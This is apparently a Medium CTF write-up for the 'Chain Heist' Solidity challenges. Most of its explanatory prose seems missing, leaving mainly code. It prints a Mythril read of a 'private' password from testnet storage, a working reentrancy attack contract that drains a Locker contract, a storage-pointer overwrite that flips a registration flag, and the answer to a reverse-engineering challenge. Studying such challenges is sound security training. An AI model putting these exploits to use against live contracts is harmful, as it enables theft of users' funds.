Chain Heist CTF Writeup

The Interface

Challenges

pragma solidity ^0.5.0;contract AccountUnlock{    string public password = “[REDACTED]”;    function verify(string memory _password) public view returns (bool){
require(keccak256(abi.encode(password)) == keccak256(abi.encode(_password)));
return true;
}
}
$ myth read-storage — rpc infura-ropsten 0 0x8e852b8ce63a2d1b4d4E7d3404c05363a32F0AB0
0: 0x5374726f6e6750617373776f7264313233000000000000000000000000000022
pragma solidity ^0.5.0;import "../zeppelin/SafeMath.sol";contract Locker {    using SafeMath for uint256;
mapping(address => uint256) private balance;
mapping(address => bool) private accountBook;
modifier checkPoint() {
require(accountBook[msg.sender],"You need to have an account with us");
_;
}
modifier alreadyExists(){
require(!accountBook[msg.sender],"You are already an account holder");
_;
}
function createAcc() public alreadyExists() {
accountBook[msg.sender]=true;
}
function deposit() internal checkPoint(){
require(msg.value>0,"Please send some funds");
balance[msg.sender] = balance[msg.sender].add(msg.value);
}
function checkBalanceUser() public view checkPoint() returns(uint256) {
return balance[msg.sender];
}
function withDraw(uint256 _amount) public checkPoint() {
require(balance[msg.sender]>0,"You dont have any balance");
balance[msg.sender] = balance[msg.sender].sub(_amount);
address(msg.sender).call.value(_amount)("");
}
function closeAccount() public checkPoint(){
require(balance[msg.sender]>0,"You dont have any balance");
address(msg.sender).call.value(balance[msg.sender])("");
accountBook[msg.sender] =false;
balance[msg.sender]=0;
}
function checkBalance() view public returns(uint256) {
return address(this).balance;
}
function() payable external {
deposit();
}
}
contract Reenter {
address payable public addr= 0xb947F6Bd0FB99219ddf1FEa82281125396f12634;
Locker public locker;

constructor() public payable {
locker = Locker(addr);
}

function attack() public {
locker.createAcc();
addr.call.value(address(this).balance)("");
locker.closeAccount(); // trigger the exploit
}


function() external payable {
if (address(locker).balance != 0 ) {
locker.closeAccount(); // reenter
}
}
}

ReverseEng 1 (medium)

pragma solidity ^0.5.0;contract ReverseEng {
bool public solved = false;
function () external payable {
// [REDACTED]
solved = true;
}
}
bool solved;function 799320bb() public view {
return(solved);
}
function () public payable {
require((msg.value == 2a));
solved = true;
return;
}

Vehicle Registration System (hard)

pragma solidity ^0.4.24;contract VehicleRegister {
bool public registrationAllowed = false;
struct Record{
uint256 serialNumber;
string Ownername;
bytes32 registrationTag;
}
struct UniqueTag{
bytes32 registrationTag;
string licenseNumber;
}
mapping(uint256 => bytes32) private registrationTagRecord;
mapping(bytes32 => bool) private registrationTagRecordExists;
mapping(bytes32 => UniqueTag) private uniqueIDRecord;
function registerVehicle(uint256 _serialNumber, string _Ownername) public {
require(registrationAllowed, "Sorry, registration is closed");
Record record;
record.Ownername = _Ownername;
record.serialNumber = _serialNumber;
record.registrationTag = keccak256(abi.encode(_serialNumber,_Ownername));
registrationTagRecord[_serialNumber]=record.registrationTag;
registrationTagRecordExists[record.registrationTag] = true;
}
function getRegistrationTag(uint256 _serialNumber) public view returns (bytes32){ require(registrationTagRecordExists[registrationTagRecord [_serialNumber]]);
return registrationTagRecord[_serialNumber];
}
function getUniqueID(bytes32 _registrationTag, string _licenseNumber)public returns (bytes32){
UniqueTag instance;
instance.registrationTag = _registrationTag;
instance.licenseNumber =_licenseNumber;
if (!registrationTagRecordExists[_registrationTag]){
return keccak256(abi.encode("0000"));
}
bytes32 _uniqueID = keccak256(abi.encode(_registrationTag,_licenseNumber));
uniqueIDRecord[_uniqueID]=instance;
return _uniqueID;
}
function registrationTagVerify(bytes32 _registrationTag) public view returns (bool){
return registrationTagRecordExists[_registrationTag];
}
}
function getUniqueID(bytes32 _registrationTag,string _licenseNumber)public returns (bytes32){
UniqueTag instance; // Missing “memory” keyword
instance.registrationTag = _registrationTag; // storage 0
instance.licenseNumber =_licenseNumber; // storage 1
$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000000
$ myth read-storage --rpc infura-ropsten 0 0x7c9Fab75f24850b3C7f54233B8d269766D6d297f
0: 0x0000000000000000000000000000000000000000000000000000000000000001

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store